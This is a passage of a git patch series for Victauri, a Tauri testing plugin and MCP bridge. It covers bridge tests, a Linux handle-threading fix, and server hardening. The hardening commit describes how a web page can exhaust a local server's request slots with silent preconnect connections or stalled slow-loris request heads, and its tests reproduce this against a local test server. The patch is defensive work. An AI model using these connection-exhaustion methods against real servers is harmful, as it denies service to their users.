app_selector_treats_blank_as_unset() { + let s = |v: &str| Some(v.to_string()); + assert_eq!(resolve_app_selector(None, None), None); + assert_eq!(resolve_app_selector(None, s("")), None); + assert_eq!(resolve_app_selector(None, s(" \t")), None); + assert_eq!(resolve_app_selector(s(""), s("com.env")), s("com.env")); + assert_eq!(resolve_app_selector(None, s(" com.env ")), s("com.env")); + assert_eq!( + resolve_app_selector(s("com.cli"), s("com.env")), + s("com.cli") + ); + } + // Round-4 audit, blocker #3 (CLI empty-token fallback): a blank `VICTAURI_AUTH_TOKEN` // must be treated as "unset" so the bridge falls through to the discovered token, NOT // sent as an empty Bearer to an auth-enabled server (which would 401 every call). diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs new file mode 100644 index 00000000..13218433 --- /dev/null +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -0,0 +1,205 @@ +//! End-to-end tests of the real `victauri bridge` binary's JSON-RPC edge cases (round-5 audit): +//! selector normalization and message shapes the bridge must not mishandle. +//! +//! Each test runs its own mock backend, writes a discovery entry under a PRIVATE temp root +//! (the bridge's `TMP`/`TEMP`/`TMPDIR`/`XDG_RUNTIME_DIR` point there), so the tests never see — +//! or are seen by — any real Victauri app or bridge on the machine, and can run in parallel. + +use std::io::{BufRead, BufReader, Write}; +use std::process::{Child, ChildStdin, Command, Stdio}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::{Arc, Mutex, mpsc}; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +use axum::Router; +use axum::routing::get; +use serde_json::{Value, json}; + +struct ChildGuard(Child); + +impl Drop for ChildGuard { + fn drop(&mut self) { + let _ = self.0.kill(); + let _ = self.0.wait(); + } +} + +/// A running bridge bound (through a real discovery entry) to a mock backend. +struct Harness { + stdin: ChildStdin, + rx: mpsc::Receiver, + stderr: Arc>>, + _child: ChildGuard, + _root: tempfile::TempDir, +} + +impl Harness { + /// Serve `mcp_routes` (plus `/health`) on an ephemeral port, write a discovery entry for it + /// with a unique identity, and spawn the bridge. `app_arg` = pass `--app `; + /// `env` is applied after the Victauri selector variables are cleared. + async fn start(mcp_routes: Router, app_arg: bool, env: &[(&str, &str)]) -> Self { + let router = mcp_routes.route("/health", get(|| async { "ok" })); + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let port = listener.local_addr().unwrap().port(); + tokio::spawn(async move { + axum::serve(listener, router).await.unwrap(); + }); + + let unique = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + let ident = format!("com.test.bridge-protocol.{unique}"); + let root = tempfile::tempdir().unwrap(); + let pid = std::process::id(); + let dir = root.path().join("victauri").join(pid.to_string()); + std::fs::create_dir_all(&dir).unwrap(); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + for d in [root.path().join("victauri"), dir.clone()] { + std::fs::set_permissions(&d, std::fs::Permissions::from_mode(0o700)).unwrap(); + } + } + std::fs::write(dir.join("port"), port.to_string()).unwrap(); + std::fs::write(dir.join("token"), "proto-token").unwrap(); + std::fs::write( + dir.join("metadata.json"), + json!({"pid": pid, "port": port, "identifier": ident, "product_name": "Proto"}) + .to_string(), + ) + .unwrap(); + + let mut cmd = Command::new(env!("CARGO_BIN_EXE_victauri")); + for var in ["TMP", "TEMP", "TMPDIR", "XDG_RUNTIME_DIR"] { + cmd.env(var, root.path()); + } + for var in ["VICTAURI_APP", "VICTAURI_PORT", "VICTAURI_AUTH_TOKEN"] { + cmd.env_remove(var); + } + for (k, v) in env { + cmd.env(k, v); + } + cmd.arg("bridge"); + if app_arg { + cmd.args(["--app", ident.as_str()]); + } + let mut child = cmd + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + .expect("spawn victauri bridge"); + + let stdin = child.stdin.take().unwrap(); + let stdout = child.stdout.take().unwrap(); + let stderr_pipe = child.stderr.take().unwrap(); + let stderr = Arc::new(Mutex::new(Vec::::new())); + let capture = Arc::clone(&stderr); + std::thread::spawn(move || { + for line in BufReader::new(stderr_pipe).lines() { + let Ok(line) = line else { break }; + capture.lock().unwrap().push(line); + } + }); + let (tx, rx) = mpsc::channel::(); + std::thread::spawn(move || { + for line in BufReader::new(stdout).lines() { + let Ok(line) = line else { break }; + if tx.send(line).is_err() { + break; + } + } + }); + + let mut h = Self { + stdin, + rx, + stderr, + _child: ChildGuard(child), + _root: root, + }; + h.send(&json!({"jsonrpc":"2.0","id":"init","method":"initialize","params":{}})); + let init = h.recv_reply(); + assert_eq!(init["id"], "init", "{init}"); + h.send(&json!({"jsonrpc":"2.0","method":"notifications/initialized"})); + h + } + + fn send(&mut self, v: &Value) { + writeln!(self.stdin, "{v}").unwrap(); + self.stdin.flush().unwrap(); + } + + /// The next line that is a reply (an object with an `id`, or a batch array), skipping the + /// poller's id-less `list_changed` notifications. + fn recv_reply(&self) -> Value { + loop { + let line = match self.rx.recv_timeout(Duration::from_secs(20)) { + Ok(l) => l, + Err(e) => { + let s = self.stderr.lock().unwrap().join("\n"); + panic!("bridge produced no reply in time: {e}; stderr:\n{s}"); + } + }; + let v: Value = serde_json::from_str(&line).expect("bridge stdout is JSON"); + if v.is_array() || v.get("id").is_some() { + return v; + } + } + } +} + +/// A stateless mock backend (like the real plugin's default): no session ids. +#[derive(Clone, Default)] +struct Backend { + tool_calls: Arc, +} + +async fn stateless_mcp( + axum::extract::State(b): axum::extract::State, + body: String, +) -> axum::response::Response { + use axum::response::IntoResponse; + let v: Value = serde_json::from_str(&body).unwrap_or(Value::Null); + let id = v.get("id").cloned(); + match v.get("method").and_then(Value::as_str) { + Some("tools/call") => { + b.tool_calls.fetch_add(1, Ordering::SeqCst); + axum::Json(json!({"jsonrpc":"2.0","id":id, + "result":{"content":[{"type":"text","text":"ok"}]}})) + .into_response() + } + Some(m) if m.starts_with("notifications/") => { + axum::http::StatusCode::ACCEPTED.into_response() + } + _ => axum::Json(json!({"jsonrpc":"2.0","id":id,"result":{}})).into_response(), + } +} + +fn backend_routes(b: &Backend) -> Router { + Router::new() + .route("/mcp", axum::routing::post(stateless_mcp)) + .with_state(b.clone()) +} + +/// R5-BR2: `VICTAURI_APP=` (set but empty, e.g. from a templated `.mcp.json`) must mean "no +/// selector", as it does for victauri-test and the watchdog — not "match an app named ''", +/// which made every call "backend not reachable" with the one running app sitting right there. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn empty_victauri_app_env_is_treated_as_unset() { + for blank in ["", " "] { + let backend = Backend::default(); + let mut h = + Harness::start(backend_routes(&backend), false, &[("VICTAURI_APP", blank)]).await; + h.send(&json!({"jsonrpc":"2.0","id":2,"method":"tools/call", + "params":{"name":"get_plugin_info","arguments":{}}})); + let r = h.recv_reply(); + assert_eq!(r["id"], 2, "{r}"); + assert!( + r.get("result").is_some(), + "VICTAURI_APP={blank:?} must not select nothing: {r}" + ); + assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 1); + } +} From 294d96336c75c65ec23e6401d37567ba960d3da0 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:38:14 +1000 Subject: [PATCH 103/167] fix(examples): keep Tauri handles on the main thread demo-app's run_pipeline moved an AppHandle into std::thread::spawn and gauntlet-app's into tauri::async_runtime::spawn, so the handle was dropped off the main thread - the Linux tao Rc race MIGRATION.md tells apps to avoid, which muddies whether a dead CI host is Victauri's fault. Both now store one handle in a static OnceLock set in setup (main thread) and the background work borrows it (emit only takes &self). slow_command stays async with a note that async commands are an upstream Tauri path. The pattern is documented for apps in the compatibility docs and MIGRATION.md. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 7 +++++++ MIGRATION.md | 7 ++++++- docs/src/compatibility.md | 33 +++++++++++++++++++++++++++++++ examples/demo-app/src/main.rs | 33 ++++++++++++++++++++++++------- examples/gauntlet-app/src/main.rs | 25 ++++++++++++++++++++--- 5 files changed, 94 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 767ffb82..c5d7cc4a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -434,6 +434,13 @@ The remainder of this entry is the first (full-surface) audit round, merged in # regardless of the app's CSP. Nothing in Victauri calls them (the bridge and every tool use only `victauri_eval_callback`). The individual `allow-`/`deny-` permissions remain, so an app can opt back in; see MIGRATION.md. +- **The example apps dropped Tauri handles off the main thread**, the race MIGRATION.md tells apps + to avoid: the demo's `run_pipeline` moved an `AppHandle` into `std::thread::spawn` (run three times + by the integration tests) and the gauntlet's into `tauri::async_runtime::spawn`. A host death in + CI could therefore have been the example's fault rather than Victauri's. Both now take one handle + on the main thread in `setup` (`static APP: OnceLock`) and background work only borrows + it. The pattern is documented for apps under "Linux: keep Tauri handles on the main thread" in the + compatibility docs. ## [0.8.8] - 2026-08-12 diff --git a/MIGRATION.md b/MIGRATION.md index 867defdb..4bddb026 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -133,7 +133,12 @@ implementations, so existing impls compile unchanged — `try_get_window_states` page still gets a promise; nothing to change). This keeps Tauri handles on the main thread — cloning or dropping one elsewhere corrupted the heap on Linux (see CHANGELOG). If your own app clones an `AppHandle` / window / webview on background threads on Linux, the same Tauri race - applies to it. + applies to it. That includes moving an `AppHandle` into `std::thread::spawn` or + `tauri::async_runtime::spawn` to `emit` later, because the handle is then dropped on that + thread. Take one handle on the main thread in `setup` (`static APP: OnceLock`, + `APP.set(app.handle().clone())`) and have background work borrow it (`APP.get()`; `emit` only + needs `&self`). The demo and gauntlet apps do this, and the docs' + [compatibility page](docs/src/compatibility.md) has the snippet. - **`victauri:default` no longer grants `victauri_eval_js` / `victauri_dom_snapshot`.** These two page-callable Tauri commands are the only async Victauri commands left (Tauri runs an async command's argument extraction on a tokio worker, the Linux handle race above), and diff --git a/docs/src/compatibility.md b/docs/src/compatibility.md index e6abc4b6..7f183786 100644 --- a/docs/src/compatibility.md +++ b/docs/src/compatibility.md @@ -119,6 +119,39 @@ Tauri 2 supports only one `invoke_handler` per app ([tauri-apps/tauri#11447](htt | macOS | macOS 10.15+ | WKWebView ships with the OS. No additional runtime. | | Linux | WebKitGTK 2.36+ (webkit2gtk-4.1) | Ubuntu 22.04+. Tauri 2 won't compile on older versions, so not a Victauri concern. | +### Linux: keep Tauri handles on the main thread + +On Linux every Tauri handle (`AppHandle`, `Window`, `Webview`, `WebviewWindow`) carries tao's +main-thread-only state, including a non-atomic `Rc`, behind an `unsafe impl Send + Sync`. Cloning or +dropping any handle on another thread races that refcount, and the app can later abort with glibc +`corrupted double-linked list` / `unaligned fastbin chunk` on whichever thread allocates next. This is +a Tauri/tao behavior, not something Victauri adds. Victauri itself only clones and drops handles on the +main thread since 0.9.0, but an app's own code can still hit the race, and when it does the crash can +look like it came from whatever happened to be running at the time, Victauri included. + +The usual culprit is moving an `AppHandle` into `std::thread::spawn` or `tauri::async_runtime::spawn` +to `emit` from background work: the handle is dropped on that thread when the work ends. Instead, take +one handle on the main thread and let background work borrow it (`emit` only needs `&self`): + +```rust +use std::sync::OnceLock; +use tauri::Emitter; + +static APP: OnceLock = OnceLock::new(); + +// in .setup(|app| { ... }) — runs on the main thread +let _ = APP.set(app.handle().clone()); + +// in background work: borrow, never clone or own +if let Some(app) = APP.get() { + let _ = app.emit("job-complete", 42); +} +``` + +Victauri's own example apps (`examples/demo-app`, `examples/gauntlet-app`) use this pattern. Async +`#[tauri::command]`s are a separate, upstream case: Tauri extracts their arguments and drops their +resolver on a tokio worker, whatever the command body does. + ### Tauri Version Compatibility Victauri is tested with Tauri 2.0 through 2.11. Key compatibility facts: diff --git a/examples/demo-app/src/main.rs b/examples/demo-app/src/main.rs index 496022cc..e1e0b980 100644 --- a/examples/demo-app/src/main.rs +++ b/examples/demo-app/src/main.rs @@ -7,10 +7,23 @@ use serde::{Deserialize, Serialize}; use std::sync::atomic::{AtomicBool, AtomicU32, AtomicU64, Ordering}; -use std::sync::{Arc, Mutex}; +use std::sync::{Arc, Mutex, OnceLock}; use tauri::{Emitter, Manager, WebviewWindow}; use victauri_plugin::inspectable; +/// The app's one long-lived `AppHandle`, cloned once in `setup` (on the main +/// thread) and never dropped (statics are not dropped). +/// +/// Background work borrows it (`APP.get()` + `emit(&self, ..)`) instead of +/// moving an `AppHandle` into a spawned thread or task. On Linux every Tauri +/// handle carries tao's main-thread-only `Rc` state behind an +/// `unsafe impl Send + Sync`; cloning or dropping a handle off the main thread +/// races that non-atomic refcount and can corrupt the heap (glibc +/// `corrupted double-linked list`). A handle moved into `std::thread::spawn` is +/// dropped on that thread when it exits — exactly that race. See MIGRATION.md +/// (v0.9.0). +static APP: OnceLock = OnceLock::new(); + // ── State ────────────────────────────────────────────────────────────────── #[derive(Default)] @@ -379,20 +392,24 @@ fn list_notifications(state: tauri::State<'_, AppState>) -> Vec { category = "pipeline", example = "run the pipeline" )] -fn run_pipeline(app: tauri::AppHandle, pipeline: tauri::State<'_, Arc>) { - // Returns immediately. Real work happens on a spawned task; completion is +fn run_pipeline(pipeline: tauri::State<'_, Arc>) { + // Returns immediately. Real work happens on a spawned thread; completion is // signalled by the `running` flag flipping false AND a `pipeline-complete` // event. An agent should await one of those, not guess with a sleep. + // The thread owns no Tauri handle: it borrows the main-thread-owned `APP` + // (see its doc comment for why). let pipeline = Arc::clone(&pipeline); pipeline.running.store(true, Ordering::SeqCst); std::thread::spawn(move || { std::thread::sleep(std::time::Duration::from_millis(400)); let processed = pipeline.processed.fetch_add(50, Ordering::SeqCst) + 50; pipeline.running.store(false, Ordering::SeqCst); - let _ = app.emit( - "pipeline-complete", - serde_json::json!({ "processed": processed }), - ); + if let Some(app) = APP.get() { + let _ = app.emit( + "pipeline-complete", + serde_json::json!({ "processed": processed }), + ); + } }); } @@ -562,6 +579,8 @@ fn main() { pipeline_status, ]) .setup(|app| { + // Main thread: take the one handle background work may borrow. + let _ = APP.set(app.handle().clone()); let window = app.get_webview_window("main").unwrap(); window.set_title("Victauri Demo").unwrap(); // A real application database in the app data dir (a default query_db search diff --git a/examples/gauntlet-app/src/main.rs b/examples/gauntlet-app/src/main.rs index 65265307..c1d2e5b7 100644 --- a/examples/gauntlet-app/src/main.rs +++ b/examples/gauntlet-app/src/main.rs @@ -21,14 +21,26 @@ #![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] -use std::sync::Arc; use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::sync::{Arc, OnceLock}; use std::time::Duration; use tauri::{Emitter, Manager, WebviewWindow}; use victauri_core::CommandInfo; use victauri_plugin::inspectable; +/// The app's one long-lived `AppHandle`, cloned once in `setup` (on the main +/// thread) and never dropped (statics are not dropped). +/// +/// Background tasks borrow it (`APP.get()` + `emit(&self, ..)`) instead of +/// moving an `AppHandle` into `tauri::async_runtime::spawn`. On Linux every +/// Tauri handle carries tao's main-thread-only `Rc` state behind an +/// `unsafe impl Send + Sync`; cloning or dropping a handle off the main thread +/// races that non-atomic refcount and can corrupt the heap. The gauntlet must +/// not do that itself, or a dead CI host could be the app's fault rather than +/// Victauri's. See MIGRATION.md (v0.9.0). +static APP: OnceLock = OnceLock::new(); + /// Number of synthetic registry entries. These are registered as schema *data* /// (no real handler) to exercise the registry/resolve/ghost/coverage tools at /// a realistic scale without hand-writing hundreds of `generate_handler!` arms. @@ -102,6 +114,8 @@ fn flood_marker(seq: i64) -> i64 { intent = "run a slow command", category = "stress" )] +// Async on purpose (timing stress). Tauri itself runs an async command's argument +// extraction and resolver on a tokio worker — an upstream Tauri path, not app code. async fn slow_command(ms: u64) -> String { tokio::time::sleep(Duration::from_millis(ms.min(2000))).await; format!("slept {ms}ms") @@ -124,7 +138,7 @@ fn fail_command() -> Result<(), String> { category = "pipeline", example = "run the pipeline" )] -fn run_pipeline(app: tauri::AppHandle, pipeline: tauri::State<'_, Arc>) { +fn run_pipeline(pipeline: tauri::State<'_, Arc>) { let state = Arc::clone(&pipeline); if state.running.swap(true, Ordering::SeqCst) { return; // already running @@ -136,7 +150,10 @@ fn run_pipeline(app: tauri::AppHandle, pipeline: tauri::State<'_, Arc Date: Tue, 29 Sep 2026 23:40:07 +1000 Subject: [PATCH 104/167] fix(server): a connection holds a request slot only after its first byte (R5-NET1) serve_hardened took one of the 256 request slots BEFORE accept(), and a connection that never sent a byte kept it for the full 30 s header deadline. A web page can open hundreds of such connections with - no request is ever sent, so no Origin/Sec-Fetch guard and no close-on-refusal runs. Measured in Edge: ~370 idle connections held, agent /health probes failed 17/30. Accepted connections now wait for their first byte in a separate pending pool (1,024, still bounding file descriptors) under a 3 s first-byte deadline, and only then take a request slot. Silent connections never hold a request slot, are closed at the first-byte deadline, and do not delay graceful shutdown. The CHANGELOG claim about the connection slots is corrected and the slow-loris residual (started-but-stalled heads) is stated. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- CHANGELOG.md | 7 +- crates/victauri-plugin/src/mcp/hardening.rs | 178 ++++++++++++++++++-- 2 files changed, 170 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 77a17e88..606c5069 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -110,7 +110,12 @@ contract and page-load maps are capped; panicked background tasks are reported f capture runs on one COM thread with a bounded wait; `Locator::check()` works on ARIA checkboxes; `victauri check` lists ghost names; `recording stop` flushes every window first (events captured since the last 1 s drain tick were dropped; a window that cannot answer within 3 s is reported in `final_flush_unreachable`); a request the guards refuse (401/403/415/429) closes its connection, so refused requests (a web page's no-cors fetches, a local script) cannot park the -256 connection slots; GitHub Release notes are the version's CHANGELOG section (not raw commit +256 request slots, and a connection takes a request slot only once it has sent its first byte — +a connection that sends nothing (a page's `` across `*.localhost` names +never reaches a guard; measured in Edge: ~370 held, agent `/health` probes failing 17/30) waits +in a separate pool of 1,024 and is closed after 3 s instead of holding a slot for the 30 s header +deadline (round 5). Residual: a local process can still fill the 256 slots with started-but-stalled +request heads until the header deadline (slow-loris is bounded, not prevented); GitHub Release notes are the version's CHANGELOG section (not raw commit subjects) and the binaries ship with `SHA256SUMS`; tool-reference, MIGRATION, README and security docs corrections. diff --git a/crates/victauri-plugin/src/mcp/hardening.rs b/crates/victauri-plugin/src/mcp/hardening.rs index 72958d65..702a66ac 100644 --- a/crates/victauri-plugin/src/mcp/hardening.rs +++ b/crates/victauri-plugin/src/mcp/hardening.rs @@ -28,12 +28,18 @@ pub struct ServeLimits { pub max_connections: usize, /// A connection that has not delivered a complete request head within this is closed. pub header_read_timeout: Duration, + /// Accepted connections that have not yet sent a byte (or wait for a request slot). + pub max_pending: usize, + /// A connection that sends nothing within this is closed. + pub first_byte_timeout: Duration, } impl ServeLimits { pub const DEFAULT: Self = Self { max_connections: 256, header_read_timeout: Duration::from_secs(30), + max_pending: 1024, + first_byte_timeout: Duration::from_secs(3), }; } @@ -44,7 +50,9 @@ const ACCEPT_ERROR_BACKOFF: Duration = Duration::from_millis(50); /// /// Replaces `axum::serve`, which builds hyper with no timer (so no header-read timeout: a /// client trickling header bytes held its connection forever) and accepts connections without -/// limit (slow-loris clients exhausted file descriptors). +/// limit (slow-loris clients exhausted file descriptors). A connection holds a request slot only +/// once it has sent a byte; before that it holds a slot of the larger pending pool, for at most +/// `first_byte_timeout`. pub async fn serve_hardened( listener: tokio::net::TcpListener, app: axum::Router, @@ -55,14 +63,20 @@ pub async fn serve_hardened( { use hyper_util::rt::{TokioExecutor, TokioIo, TokioTimer}; + // Two pools. A connection is accepted into `pending` (bounding file descriptors) and only + // takes one of the `slots` once it has sent its first byte. A connection that never sends + // anything (a browser's speculative ``, which no request guard ever + // sees) is closed at the short first-byte deadline and never holds a request slot; it used to + // hold one for the whole header deadline, and a page could park every slot that way. let slots = Arc::new(Semaphore::new(limits.max_connections)); + let pending = Arc::new(Semaphore::new(limits.max_pending)); let (signal_tx, _) = watch::channel(false); let (close_tx, close_rx) = watch::channel(()); tokio::pin!(shutdown); loop { - let permit = tokio::select! { - permit = Arc::clone(&slots).acquire_owned() => match permit { + let pending_permit = tokio::select! { + permit = Arc::clone(&pending).acquire_owned() => match permit { Ok(permit) => permit, Err(_closed) => break, }, @@ -83,8 +97,18 @@ pub async fn serve_hardened( let service = hyper_util::service::TowerToHyperService::new(app.clone()); let mut signal_rx = signal_tx.subscribe(); let close_rx = close_rx.clone(); + let slots = Arc::clone(&slots); tokio::spawn(async move { - let _permit = permit; + // Until the first byte, a slot, or shutdown — whichever comes first. + let admitted = tokio::select! { + permit = admit(&stream, &slots, limits.first_byte_timeout) => permit, + _ = signal_rx.changed() => None, + }; + drop(pending_permit); + let Some(_permit) = admitted else { + drop(close_rx); + return; + }; // HTTP/1 only, and no protocol sniffing: the auto builder's HTTP/2-preface // detection runs before hyper's header timer starts, so a client that connects and // sends nothing sat there untimed. @@ -123,6 +147,20 @@ pub async fn serve_hardened( close_tx.closed().await; } +/// Wait for `stream`'s first byte (at most `first_byte_timeout`), then for a request slot. +/// `None` closes the connection: it sent nothing in time, hung up, or the pool is closed. +async fn admit( + stream: &tokio::net::TcpStream, + slots: &Arc, + first_byte_timeout: Duration, +) -> Option { + let mut probe = [0u8; 1]; + match tokio::time::timeout(first_byte_timeout, stream.peek(&mut probe)).await { + Ok(Ok(n)) if n > 0 => Arc::clone(slots).acquire_owned().await.ok(), + _ => None, + } +} + /// Read the whole request body under [`BODY_READ_TIMEOUT`] and [`MAX_REQUEST_BODY_BYTES`] /// before any handler (or the `/mcp` transport) sees it. /// @@ -245,12 +283,22 @@ mod tests { out } + /// Limits for tests: generous pending pool and first-byte deadline unless a test is about them. + fn limits(max_connections: usize, header_read_timeout: Duration) -> ServeLimits { + ServeLimits { + max_connections, + header_read_timeout, + max_pending: 64, + first_byte_timeout: Duration::from_secs(10), + } + } + /// Audit N4: a client trickling its request head was never timed out. #[tokio::test] async fn a_stalled_request_head_is_closed_at_the_header_deadline() { let addr = spawn_server(ServeLimits { - max_connections: 8, - header_read_timeout: Duration::from_millis(300), + first_byte_timeout: Duration::from_millis(300), + ..limits(8, Duration::from_millis(300)) }) .await; let started = Instant::now(); @@ -278,12 +326,117 @@ mod tests { /// Audit N4: connections are capped; a waiting client is served once a slot frees up. #[tokio::test] async fn connections_beyond_the_cap_wait_for_a_free_slot() { + let addr = spawn_server(limits(1, Duration::from_millis(400))).await; + // A client that has started a request (and stalls in its head) holds the only slot. + let mut hog = tokio::net::TcpStream::connect(addr).await.unwrap(); + hog.write_all(b"GET / HTTP/1.1\r\n").await.unwrap(); + tokio::time::sleep(Duration::from_millis(50)).await; + let started = Instant::now(); + let mut client = tokio::net::TcpStream::connect(addr).await.unwrap(); + client + .write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n") + .await + .unwrap(); + let reply = read_to_close(&mut client, Duration::from_secs(5)).await; + assert!(String::from_utf8_lossy(&reply).contains("200 OK")); + assert!( + started.elapsed() >= Duration::from_millis(250), + "served before the only slot was released ({:?})", + started.elapsed() + ); + } + + /// R5-NET1: connections that never send a byte (a page's `` across + /// `*.localhost` names — no request, so no guard ever runs) each held a request slot for the + /// full header deadline, locking the agent out. They must not hold request slots. + #[tokio::test] + async fn silent_connections_do_not_block_a_real_request() { + let addr = spawn_server(limits(2, Duration::from_secs(10))).await; + let mut silent = Vec::new(); + for _ in 0..20 { + silent.push(tokio::net::TcpStream::connect(addr).await.unwrap()); + } + tokio::time::sleep(Duration::from_millis(100)).await; + let started = Instant::now(); + let mut client = tokio::net::TcpStream::connect(addr).await.unwrap(); + client + .write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n") + .await + .unwrap(); + let reply = tokio::time::timeout( + Duration::from_secs(2), + read_to_close(&mut client, Duration::from_secs(5)), + ) + .await + .expect("a real request must be served while silent connections are open"); + assert!(String::from_utf8_lossy(&reply).contains("200 OK")); + assert!( + started.elapsed() < Duration::from_secs(1), + "{:?}", + started.elapsed() + ); + drop(silent); + } + + /// R5-NET1: a connection that sends nothing is closed at the (short) first-byte deadline, + /// not the 30 s header deadline. + #[tokio::test] + async fn a_silent_connection_is_closed_at_the_first_byte_deadline() { + let addr = spawn_server(ServeLimits { + first_byte_timeout: Duration::from_millis(300), + ..limits(8, Duration::from_secs(30)) + }) + .await; + let started = Instant::now(); + let mut silent = tokio::net::TcpStream::connect(addr).await.unwrap(); + let reply = read_to_close(&mut silent, Duration::from_secs(5)).await; + assert!(reply.is_empty(), "{}", String::from_utf8_lossy(&reply)); + assert!( + started.elapsed() < Duration::from_secs(2), + "{:?}", + started.elapsed() + ); + } + + /// Graceful shutdown does not wait for connections that never sent a byte. + #[tokio::test] + async fn shutdown_does_not_wait_for_silent_connections() { + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + let app = axum::Router::new().route("/", axum::routing::get(|| async { "ok" })); + let (stop_tx, stop_rx) = tokio::sync::oneshot::channel::<()>(); + let server = tokio::spawn(serve_hardened( + listener, + app, + limits(2, Duration::from_secs(30)), + async move { + let _ = stop_rx.await; + }, + )); + let mut _silent = Vec::new(); + for _ in 0..5 { + _silent.push(tokio::net::TcpStream::connect(addr).await.unwrap()); + } + tokio::time::sleep(Duration::from_millis(100)).await; + let _ = stop_tx.send(()); + tokio::time::timeout(Duration::from_secs(2), server) + .await + .expect("shutdown must not wait for silent connections") + .unwrap(); + } + + /// R5-NET1: silent connections are still bounded (file descriptors): beyond `max_pending` + /// a new connection waits in the backlog until the first-byte deadline reaps one. + #[tokio::test] + async fn silent_connections_are_bounded_by_the_pending_pool() { let addr = spawn_server(ServeLimits { - max_connections: 1, - header_read_timeout: Duration::from_millis(400), + max_pending: 2, + first_byte_timeout: Duration::from_millis(400), + ..limits(8, Duration::from_secs(30)) }) .await; - let _hog = tokio::net::TcpStream::connect(addr).await.unwrap(); + let _silent_a = tokio::net::TcpStream::connect(addr).await.unwrap(); + let _silent_b = tokio::net::TcpStream::connect(addr).await.unwrap(); tokio::time::sleep(Duration::from_millis(50)).await; let started = Instant::now(); let mut client = tokio::net::TcpStream::connect(addr).await.unwrap(); @@ -295,7 +448,7 @@ mod tests { assert!(String::from_utf8_lossy(&reply).contains("200 OK")); assert!( started.elapsed() >= Duration::from_millis(250), - "served before the only slot was released ({:?})", + "accepted beyond the pending pool ({:?})", started.elapsed() ); } @@ -409,10 +562,7 @@ mod tests { tokio::spawn(serve_hardened( listener, test_app(Arc::new(RateLimiterState::new(100))), - ServeLimits { - max_connections: 8, - header_read_timeout: Duration::from_secs(30), - }, + limits(8, Duration::from_secs(30)), std::future::pending::<()>(), )); let mut conn = tokio::net::TcpStream::connect(addr).await.unwrap(); From 6627e8a95266e9a87417dca419ca67d86fd4d6f5 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:47:54 +1000 Subject: [PATCH 105/167] fix(bridge): select + limit IPC/network log entries before deep-copying (R5-JS1) getIpcLog(limit) deep-copied every retained IPC call (args + response body, up to 1000 x 64 KB) and only then kept the newest `limit`; with 1000 x 50 KB entries that was ~1 s per call on the UI thread, for every logs ipc / slow_ipc / ghost detection / coverage / command_timings / command_catalog / ipc-log resource / check_ipc_integrity read. waitForIpcComplete copied the whole log to look at one entry. - getIpcLog(limit, opts): pick + limit first, copy only what is returned; opts.bodies === false omits args/result (error text capped at 4096), opts.ids restricts to given call ids. Entries are still fresh deep copies, never the live log objects. - getNetworkLog(filter, limit, opts) gains the same bodies:false view. - waitForIpcComplete inspects the newest IPC call in place. - Tool-side JS: logs ipc / ipc-log resource pass the limit to the bridge; ghost / coverage / timing projections read the body-free view; catalog, check_ipc_integrity and slow_ipc classify on the body-free view and fetch bodies only for the <= 2-per-command / <= 40 / top-N entries they report (output unchanged). Tests: bridge_r5_tests perf regression (fails before: getIpcLog(100) 1064 ms, waitForIpcComplete 1469 ms; after: ~90 ms / <1 ms, 10 entries ~15 ms) + jsdom-executed tests of every rewritten projection. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/js_bridge.rs | 150 +++++---- crates/victauri-plugin/src/mcp/helpers.rs | 41 ++- crates/victauri-plugin/src/mcp/mod.rs | 288 +++++++++++++++--- .../victauri-plugin/tests/bridge_r5_tests.rs | 224 ++++++++++++++ 4 files changed, 595 insertions(+), 108 deletions(-) create mode 100644 crates/victauri-plugin/tests/bridge_r5_tests.rs diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index 8f6c9ceb..b7285fde 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -593,6 +593,65 @@ const INIT_SCRIPT_BODY: &str = r#" return out; } + // A network-log entry's IPC command name, or null when it is not an app IPC call + // (plain network traffic, or Victauri's own `plugin:victauri|*` plumbing). + var IPC_LOG_VICTAURI_PREFIX = 'plugin%3Avictauri%7C'; + function ipcCallCommand(n) { + var raw = ipcCommandPath(n.url); + if (raw === null || raw.indexOf(IPC_LOG_VICTAURI_PREFIX) === 0) return null; + try { return decodeURIComponent(raw); } catch (e) { return raw; } + } + // The newest app IPC call in the network log (the live entry — never hand it out). + function newestIpcCall() { + for (var i = networkLog.length - 1; i >= 0; i--) { + if (ipcCallCommand(networkLog[i]) !== null) return networkLog[i]; + } + return null; + } + // The `getIpcLog` view of one IPC network entry: a fresh object whose nested values are + // deep copies, so the page cannot 